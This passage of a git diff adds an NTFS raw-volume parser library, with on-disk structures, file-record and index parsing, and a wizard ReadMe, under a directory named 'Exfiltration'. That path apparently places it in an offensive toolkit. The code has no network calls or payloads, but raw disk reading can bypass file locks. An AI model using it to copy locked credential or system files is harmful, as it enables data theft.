ReadTime; // File read time + ULONGLONG AllocSize; // Allocated size of the file + ULONGLONG RealSize; // Real size of the file + DWORD Flags; // Flags + DWORD ER; // Used by EAs and Reparse + BYTE NameLength; // Filename length in characters + BYTE NameSpace; // Filename space + WORD Name[1]; // Filename +} ATTR_FILE_NAME; + + +// Attribute: VOLUME_INFORMATION + +#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty +#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile +#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount +#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4 +#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway +#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids +#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk + +typedef struct tagATTR_VOLUME_INFORMATION +{ + BYTE Reserved1[8]; // Always 0 ? + BYTE MajorVersion; // Major version + BYTE MinorVersion; // Minor version + WORD Flags; // Flags + BYTE Reserved2[4]; // Always 0 ? +} ATTR_VOLUME_INFORMATION; + + +// Attribute: INDEX_ROOT +/****************************** + INDEX_ROOT + --------------------- + | Index Root Header | + --------------------- + | Index Header | + --------------------- + | Index Entry | + --------------------- + | Index Entry | + --------------------- + | ...... | + --------------------- +*******************************/ + +#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record +#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed + +typedef struct tagATTR_INDEX_ROOT +{ + // Index Root Header + DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View) + DWORD CollRule; // Collation rule + DWORD IBSize; // Size of index block + BYTE ClustersPerIB; // Clusters per index block (same as BPB?) + BYTE Padding1[3]; // Padding + // Index Header + DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10) + DWORD TotalEntrySize; // Total size of the index entries + DWORD AllocEntrySize; // Allocated size of the index entries + BYTE Flags; // Flags + BYTE Padding2[3]; // Padding +} ATTR_INDEX_ROOT; + + +// INDEX ENTRY + +#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node +#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream + +typedef struct tagINDEX_ENTRY +{ + ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number + WORD Size; // Length of the index entry + WORD StreamSize; // Length of the stream + BYTE Flags; // Flags + BYTE Padding[3]; // Padding + BYTE Stream[1]; // Stream + // VCN of the sub node in Index Allocation, Offset = Size - 8 +} INDEX_ENTRY; + + +// INDEX BLOCK +/****************************** + INDEX_BLOCK + ----------------------- + | Index Block Header | + ----------------------- + | Index Header | + ----------------------- + | Index Entry | + ----------------------- + | Index Entry | + ----------------------- + | ...... | + ----------------------- +*******************************/ + +#define INDEX_BLOCK_MAGIC 'XDNI' + +typedef struct tagINDEX_BLOCK +{ + // Index Block Header + DWORD Magic; // "INDX" + WORD OffsetOfUS; // Offset of Update Sequence + WORD SizeOfUS; // Size in words of Update Sequence Number & Array + ULONGLONG LSN; // $LogFile Sequence Number + ULONGLONG VCN; // VCN of this index block in the index allocation + // Index Header + DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18) + DWORD TotalEntrySize; // Total size of the index entries + DWORD AllocEntrySize; // Allocated size of index entries + BYTE NotLeaf; // 1 if not leaf node (has children) + BYTE Padding[3]; // Padding +} INDEX_BLOCK; + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_FileRecord.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_FileRecord.h new file mode 100644 index 0000000..5a232ff --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_FileRecord.h @@ -0,0 +1,989 @@ +/* + * NTFS Volume and File Record Class + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_FILERECORD_H_CYB70289 +#define __NTFS_FILERECORD_H_CYB70289 + + +/////////////////////////////////////// +// NTFS Volume forward declaration +/////////////////////////////////////// +class CNTFSVolume +{ +public: + CNTFSVolume(_TCHAR volume); + virtual ~CNTFSVolume(); + + friend class CFileRecord; + friend class CAttrBase; + +private: + WORD SectorSize; + DWORD ClusterSize; + DWORD FileRecordSize; + DWORD IndexBlockSize; + ULONGLONG MFTAddr; + HANDLE hVolume; + BOOL VolumeOK; + ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS]; + WORD Version; + + // MFT file records ($MFT file itself) may be fragmented + // Get $MFT Data attribute to translate FileRecord to correct disk offset + CFileRecord *MFTRecord; // $MFT File Record + const CAttrBase *MFTData; // $MFT Data Attribute + + BOOL OpenVolume(_TCHAR volume); + +public: + __inline BOOL IsVolumeOK() const; + __inline WORD GetVersion() const; + __inline ULONGLONG GetRecordsCount() const; + + __inline DWORD GetSectorSize() const; + __inline DWORD GetClusterSize() const; + __inline DWORD GetFileRecordSize() const; + __inline DWORD GetIndexBlockSize() const; + __inline ULONGLONG GetMFTAddr() const; + + BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb); + __inline void ClearAttrRawCB(); +}; // CNTFSVolume + + +//////////////////////////////////////////// +// List to hold Attributes of the same type +//////////////////////////////////////////// +typedef class CSList CAttrList; + +// It seems VC6.0 doesn't support template class friends +#if _MSC_VER <= 1200 +class CAttrResident; +class CAttrNonResident; +template class CAttr_AttrList; +#endif + +//////////////////////////////// +// Process a single File Record +//////////////////////////////// +class CFileRecord +{ +public: + CFileRecord(const CNTFSVolume *volume); + virtual ~CFileRecord(); + + friend class CAttrBase; +#if _MSC_VER <= 1200 + // Walk around VC6.0 compiler defect + friend class CAttr_AttrList; + friend class CAttr_AttrList; +#else + template friend class CAttr_AttrList; // Won't compiler in VC6.0, why? +#endif + +private: + const CNTFSVolume *Volume; + FILE_RECORD_HEADER *FileRecord; + ULONGLONG FileReference; + ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS]; + DWORD AttrMask; + CAttrList AttrList[ATTR_NUMS]; // Attributes + + void ClearAttrs(); + BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray); + __inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard); + CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled); + BOOL ParseAttr(ATTR_HEADER_COMMON *ahc); + FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef); + BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const; + void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const; + +public: + BOOL ParseFileRecord(ULONGLONG fileRef); + BOOL ParseAttrs(); + + BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb); + __inline void ClearAttrRawCB(); + + __inline void SetAttrMask(DWORD mask); + void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context); + __inline const CAttrBase* FindFirstAttr(DWORD attrType) const; + const CAttrBase* FindNextAttr(DWORD attrType) const; + + int GetFileName(_TCHAR *buf, DWORD bufLen) const; + __inline ULONGLONG GetFileSize() const; + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; + + void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const; + __inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const; + const CAttrBase* FindStream(_TCHAR *name = NULL); + + __inline BOOL IsDeleted() const; + __inline BOOL IsDirectory() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; +}; // CFileRecord + + +#include "NTFS_Attribute.h" + + +CFileRecord::CFileRecord(const CNTFSVolume *volume) +{ + _ASSERT(volume); + Volume = volume; + FileRecord = NULL; + FileReference = (ULONGLONG)-1; + + ClearAttrRawCB(); + + // Default to parse all attributes + AttrMask = MASK_ALL; +} + +CFileRecord::~CFileRecord() +{ + ClearAttrs(); + + if (FileRecord) + delete FileRecord; +} + +// Free all CAttr_xxx +void CFileRecord::ClearAttrs() +{ + for (int i=0; iSectorSize>>1) - 1); + if (*sector != usn) + return FALSE; // USN error + *sector = usarray[i]; // Write back correct data + sector++; + } + return TRUE; +} + +// Call user defined Callback routines for an attribute +__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard) +{ + *bDiscard = FALSE; + + if (AttrRawCallBack[attType]) + AttrRawCallBack[attType](ahc, bDiscard); + else if (Volume->AttrRawCallBack[attType]) + Volume->AttrRawCallBack[attType](ahc, bDiscard); +} + +CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled) +{ + switch (ahc->Type) + { + case ATTR_TYPE_STANDARD_INFORMATION: + return new CAttr_StdInfo(ahc, this); + + case ATTR_TYPE_ATTRIBUTE_LIST: + if (ahc->NonResident) + return new CAttr_AttrList(ahc, this); + else + return new CAttr_AttrList(ahc, this); + + case ATTR_TYPE_FILE_NAME: + return new CAttr_FileName(ahc, this); + + case ATTR_TYPE_VOLUME_NAME: + return new CAttr_VolName(ahc, this); + + case ATTR_TYPE_VOLUME_INFORMATION: + return new CAttr_VolInfo(ahc, this); + + case ATTR_TYPE_DATA: + if (ahc->NonResident) + return new CAttr_Data(ahc, this); + else + return new CAttr_Data(ahc, this); + + case ATTR_TYPE_INDEX_ROOT: + return new CAttr_IndexRoot(ahc, this); + + case ATTR_TYPE_INDEX_ALLOCATION: + return new CAttr_IndexAlloc(ahc, this); + + case ATTR_TYPE_BITMAP: + if (ahc->NonResident) + return new CAttr_Bitmap(ahc, this); + else + // Resident Bitmap may exist in a directory's FileRecord + // or in $MFT for a very small volume in theory + return new CAttr_Bitmap(ahc, this); + + // Unhandled Attributes + default: + *bUnhandled = TRUE; + if (ahc->NonResident) + return new CAttrNonResident(ahc, this); + else + return new CAttrResident(ahc, this); + } +} + +// Parse a single Attribute +// Return False on error +BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc) +{ + DWORD attrIndex = ATTR_INDEX(ahc->Type); + if (attrIndex < ATTR_NUMS) + { + BOOL bDiscard = FALSE; + UserCallBack(attrIndex, ahc, &bDiscard); + + if (!bDiscard) + { + BOOL bUnhandled = FALSE; + CAttrBase *attr = AllocAttr(ahc, &bUnhandled); + if (attr) + { + if (bUnhandled) + { + NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type); + } + AttrList[attrIndex].InsertEntry(attr); + return TRUE; + } + else + { + NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type); + return FALSE; + } + } + else + { + NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type); + return TRUE; + } + } + else + { + NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type); + return FALSE; + } +} + +// Read File Record +FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef) +{ + FILE_RECORD_HEADER *fr = NULL; + DWORD len; + + if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL) + { + // Take as continuous disk allocation + LARGE_INTEGER frAddr; + frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef; + frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN); + + if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR) + return FALSE; + else + { + fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize]; + + if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL) + && len==Volume->FileRecordSize) + return fr; + else + { + delete fr; + return NULL; + } + } + } + else + { + // May be fragmented $MFT + ULONGLONG frAddr; + frAddr = (Volume->FileRecordSize) * fileRef; + + fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize]; + + if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len) + && len == Volume->FileRecordSize) + return fr; + else + { + delete fr; + return NULL; + } + } +} + +// Read File Record, verify and patch the US (update sequence) +BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef) +{ + // Clear previous data + ClearAttrs(); + if (FileRecord) + { + delete FileRecord; + FileRecord = NULL; + } + + FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef); + if (fr == NULL) + { + NTFS_TRACE1("Cannot read file record %I64u\n", fileRef); + + FileReference = (ULONGLONG)-1; + } + else + { + FileReference = fileRef; + + if (fr->Magic == FILE_RECORD_MAGIC) + { + // Patch US + WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS); + WORD usn = *usnaddr; + WORD *usarray = usnaddr + 1; + if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray)) + { + NTFS_TRACE1("File Record %I64u Found\n", fileRef); + FileRecord = fr; + + return TRUE; + } + else + { + NTFS_TRACE("Update Sequence Number error\n"); + } + } + else + { + NTFS_TRACE("Invalid file record\n"); + } + + delete fr; + } + + return FALSE; +} + +// Visit IndexBlocks recursivly to find a specific FileName +BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const +{ + CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION); + if (ia == NULL) + return FALSE; + + CIndexBlock ib; + if (ia->ParseIndexBlock(vcn, ib)) + { + CIndexEntry *ie = ib.FindFirstEntry(); + while (ie) + { + if (ie->HasName()) + { + // Compare name + int i = ie->Compare(fileName); + if (i == 0) + { + ieFound = *ie; + return TRUE; + } + else if (i < 0) // fileName is smaller than IndexEntry + { + // Visit SubNode + if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock), recursive call + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + else + return FALSE; // not found + } + // Just step forward if fileName is bigger than IndexEntry + } + else if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock), recursive call + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + + ie = ib.FindNextEntry(); + } + } + + return FALSE; +} + +// Traverse SubNode recursivly in ascending order +// Call user defined callback routine once found an subentry +void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const +{ + CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION); + if (ia == NULL) + return; + + CIndexBlock ib; + if (ia->ParseIndexBlock(vcn, ib)) + { + CIndexEntry *ie = ib.FindFirstEntry(); + while (ie) + { + if (ie->IsSubNodePtr()) + TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call + + if (ie->HasName()) + seCallBack(ie); + + ie = ib.FindNextEntry(); + } + } +} + +// Parse all the attributes in a File Record +// And insert them into a link list +BOOL CFileRecord::ParseAttrs() +{ + _ASSERT(FileRecord); + + // Clear previous data + ClearAttrs(); + + // Visit all attributes + + DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds + ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr); + dataPtr += FileRecord->OffsetOfAttr; + + while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize) + { + if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes + { + if (!ParseAttr(ahc)) // Parse error + return FALSE; + + if (IsEncrypted() || IsCompressed()) + { + NTFS_TRACE("Compressed and Encrypted file not supported yet !\n"); + return FALSE; + } + } + + dataPtr += ahc->TotalSize; + ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute + } + + return TRUE; +} + +// Install Attribute raw data CallBack routines for a single File Record +BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb) +{ + DWORD atIdx = ATTR_INDEX(attrType); + if (atIdx < ATTR_NUMS) + { + AttrRawCallBack[atIdx] = cb; + return TRUE; + } + else + return FALSE; +} + +// Clear all Attribute CallBack routines +__inline void CFileRecord::ClearAttrRawCB() +{ + for (int i = 0; i < ATTR_NUMS; i ++) + AttrRawCallBack[i] = NULL; +} + +// Choose attributes to handle, unwanted attributes will be discarded silently +__inline void CFileRecord::SetAttrMask(DWORD mask) +{ + // Standard Information and Attribute List is needed always + AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST; +} + +// Traverse all Attribute and return CAttr_xxx classes to User Callback routine +void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context) +{ + _ASSERT(attrCallBack); + + for (int i = 0; i < ATTR_NUMS; i ++) + { + if (AttrMask & (((DWORD)1)<IsWin32Name()) + { + int len = fn->GetFileName(buf, bufLen); + if (len != 0) + return len; // success or fail + } + + fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry(); + } + + return 0; +} + +// Get File Size +__inline ULONGLONG CFileRecord::GetFileSize() const +{ + CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry(); + return fn ? fn->GetFileSize() : 0; +} + +// Get File Times +void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + // Standard Information attribute hold the most updated file time + CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + if (si) + si->GetFileTime(writeTm, createTm, accessTm); + else + { + writeTm->dwHighDateTime = 0; + writeTm->dwLowDateTime = 0; + if (createTm) + { + createTm->dwHighDateTime = 0; + createTm->dwLowDateTime = 0; + } + if (accessTm) + { + accessTm->dwHighDateTime = 0; + accessTm->dwLowDateTime = 0; + } + } +} + +// Traverse all sub directories and files contained +// Call user defined callback routine once found an entry +void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const +{ + _ASSERT(seCallBack); + + // Start traversing from IndexRoot (B+ tree root node) + + CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT); + if (ir == NULL || !ir->IsFileName()) + return; + + CIndexEntryList *ieList = (CIndexEntryList*)ir; + CIndexEntry *ie = ieList->FindFirstEntry(); + while (ie) + { + // Visit subnode first + if (ie->IsSubNodePtr()) + TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); + + if (ie->HasName()) + seCallBack(ie); + + ie = ieList->FindNextEntry(); + } +} + +// Find a specific FileName from InexRoot described B+ tree +__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const +{ + // Start searching from IndexRoot (B+ tree root node) + CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT); + if (ir == NULL || !ir->IsFileName()) + return FALSE; + + CIndexEntryList *ieList = (CIndexEntryList*)ir; + CIndexEntry *ie = ieList->FindFirstEntry(); + while (ie) + { + if (ie->HasName()) + { + // Compare name + int i = ie->Compare(fileName); + if (i == 0) + { + ieFound = *ie; + return TRUE; + } + else if (i < 0) // fileName is smaller than IndexEntry + { + // Visit SubNode + if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock) + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + else + return FALSE; // not found + } + // Just step forward if fileName is bigger than IndexEntry + } + else if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock) + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + + ie = ieList->FindNextEntry(); + } + + return FALSE; +} + +// Find Data attribute class of +const CAttrBase* CFileRecord::FindStream(_TCHAR *name) +{ + const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA); + while (data) + { + if (data->IsUnNamed() && name == NULL) // Unnamed stream + break; + if ((!data->IsUnNamed()) && name) // Named stream + { + _TCHAR an[MAX_PATH]; + if (data->GetAttrName(an, MAX_PATH)) + { + if (_tcscmp(an, name) == 0) + break; + } + } + + data = FindNextAttr(ATTR_TYPE_DATA); + } + + return data; +} + +// Check if it's deleted or in use +__inline BOOL CFileRecord::IsDeleted() const +{ + return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE); +} + +// Check if it's a directory +__inline BOOL CFileRecord::IsDirectory() const +{ + return FileRecord->Flags & FILE_RECORD_FLAG_DIR; +} + +__inline BOOL CFileRecord::IsReadOnly() const +{ + // Standard Information attribute holds the most updated file time + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsReadOnly() : FALSE; +} + +__inline BOOL CFileRecord::IsHidden() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsHidden() : FALSE; +} + +__inline BOOL CFileRecord::IsSystem() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsSystem() : FALSE; +} + +__inline BOOL CFileRecord::IsCompressed() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsCompressed() : FALSE; +} + +__inline BOOL CFileRecord::IsEncrypted() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsEncrypted() : FALSE; +} + +__inline BOOL CFileRecord::IsSparse() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsSparse() : FALSE; +} + + +/////////////////////////////////////// +// NTFS Volume Implementation +/////////////////////////////////////// +CNTFSVolume::CNTFSVolume(_TCHAR volume) +{ + hVolume = INVALID_HANDLE_VALUE; + VolumeOK = FALSE; + MFTRecord = NULL; + MFTData = NULL; + Version = 0; + ClearAttrRawCB(); + + if (!OpenVolume(volume)) + return; + + // Verify NTFS volume version (must >= 3.0) + + CFileRecord vol(this); + vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION); + if (!vol.ParseFileRecord(MFT_IDX_VOLUME)) + return; + + vol.ParseAttrs(); + CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION); + if (!vi) + return; + + Version = vi->GetVersion(); + NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version)); + if (Version < 0x0300) // NT4 ? + return; + +#ifdef _DEBUG + CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME); + if (vn) + { + char volname[MAX_PATH]; + if (vn->GetName(volname, MAX_PATH) > 0) + { + NTFS_TRACE1("NTFS volume name: %s\n", volname); + } + } +#endif + + VolumeOK = TRUE; + + MFTRecord = new CFileRecord(this); + MFTRecord->SetAttrMask(MASK_DATA); + if (MFTRecord->ParseFileRecord(MFT_IDX_MFT)) + { + MFTRecord->ParseAttrs(); + MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA); + if (MFTData == NULL) + { + delete MFTRecord; + MFTRecord = NULL; + } + } +} + +CNTFSVolume::~CNTFSVolume() +{ + if (hVolume != INVALID_HANDLE_VALUE) + CloseHandle(hVolume); + + if (MFTRecord) + delete MFTRecord; +} + +// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB +BOOL CNTFSVolume::OpenVolume(_TCHAR volume) +{ + // Verify parameter + if (!_istalpha(volume)) + { + NTFS_TRACE("Volume name error, should be like 'C', 'D'\n"); + return FALSE; + } + + _TCHAR volumePath[7]; + _sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume); + volumePath[6] = _T('\0'); + + hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL); + if (hVolume != INVALID_HANDLE_VALUE) + { + DWORD num; + NTFS_BPB bpb; + + // Read the first sector (boot sector) + if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512) + { + if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0) + { + // Log important volume parameters + + SectorSize = bpb.BytesPerSector; + NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize); + + ClusterSize = SectorSize * bpb.SectorsPerCluster; + NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize); + + int sz = (char)bpb.ClustersPerFileRecord; + if (sz > 0) + FileRecordSize = ClusterSize * sz; + else + FileRecordSize = 1 << (-sz); + NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize); + + sz = (char)bpb.ClustersPerIndexBlock; + if (sz > 0) + IndexBlockSize = ClusterSize * sz; + else + IndexBlockSize = 1 << (-sz); + NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize); + + MFTAddr = bpb.LCN_MFT * ClusterSize; + NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr); + } + else + { + NTFS_TRACE("Volume file system is not NTFS\n"); + goto IOError; + } + } + else + { + NTFS_TRACE("Read boot sector error\n"); + goto IOError; + } + } + else + { + NTFS_TRACE1("Cannnot open volume %c\n", (char)volume); +IOError: + if (hVolume != INVALID_HANDLE_VALUE) + { + CloseHandle(hVolume); + hVolume = INVALID_HANDLE_VALUE; + } + return FALSE; + } + + return TRUE; +} + +// Check if Volume is successfully opened +__inline BOOL CNTFSVolume::IsVolumeOK() const +{ + return VolumeOK; +} + +// Get NTFS volume version +__inline WORD CNTFSVolume::GetVersion() const +{ + return Version; +} + +// Get File Record count +__inline ULONGLONG CNTFSVolume::GetRecordsCount() const +{ + return (MFTData->GetDataSize() / FileRecordSize); +} + +// Get BPB information + +__inline DWORD CNTFSVolume::GetSectorSize() const +{ + return SectorSize; +} + +__inline DWORD CNTFSVolume::GetClusterSize() const +{ + return ClusterSize; +} + +__inline DWORD CNTFSVolume::GetFileRecordSize() const +{ + return FileRecordSize; +} + +__inline DWORD CNTFSVolume::GetIndexBlockSize() const +{ + return IndexBlockSize; +} + +// Get MFT starting address +__inline ULONGLONG CNTFSVolume::GetMFTAddr() const +{ + return MFTAddr; +} + +// Install Attribute CallBack routines for the whole Volume +BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb) +{ + DWORD atIdx = ATTR_INDEX(attrType); + if (atIdx < ATTR_NUMS) + { + AttrRawCallBack[atIdx] = cb; + return TRUE; + } + else + return FALSE; +} + +// Clear all Attribute CallBack routines +__inline void CNTFSVolume::ClearAttrRawCB() +{ + for (int i = 0; i < ATTR_NUMS; i ++) + AttrRawCallBack[i] = NULL; +} + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/ReadMe.txt b/Exfiltration/NTFSParser/NTFSParserDLL/ReadMe.txt new file mode 100644 index 0000000..f0918b0 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/ReadMe.txt @@ -0,0 +1,48 @@ +======================================================================== + DYNAMIC LINK LIBRARY : NTFSParserDLL Project Overview +======================================================================== + +AppWizard has created this NTFSParserDLL DLL for you. + +This file contains a summary of what you will find in each of the files that +make up your NTFSParserDLL application. + + +NTFSParserDLL.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +NTFSParserDLL.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +NTFSParserDLL.cpp + This is the main DLL source file. + + When created, this DLL does not export any symbols. As a result, it + will not produce a .lib file when it is built. If you wish this project + to be a project dependency of some other project, you will either need to + add code to export some symbols from the DLL so that an export library + will be produced, or you can set the Ignore Input Library property to Yes + on the General propert page of the Linker folder in the project's Property + Pages dialog box. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named NTFSParserDLL.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/dllmain.cpp b/Exfiltration/NTFSParser/NTFSParserDLL/dllmain.cpp new file mode 100644 index 0000000..c434a17 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/dllmain.cpp @@ -0,0 +1,36 @@ +/* + * 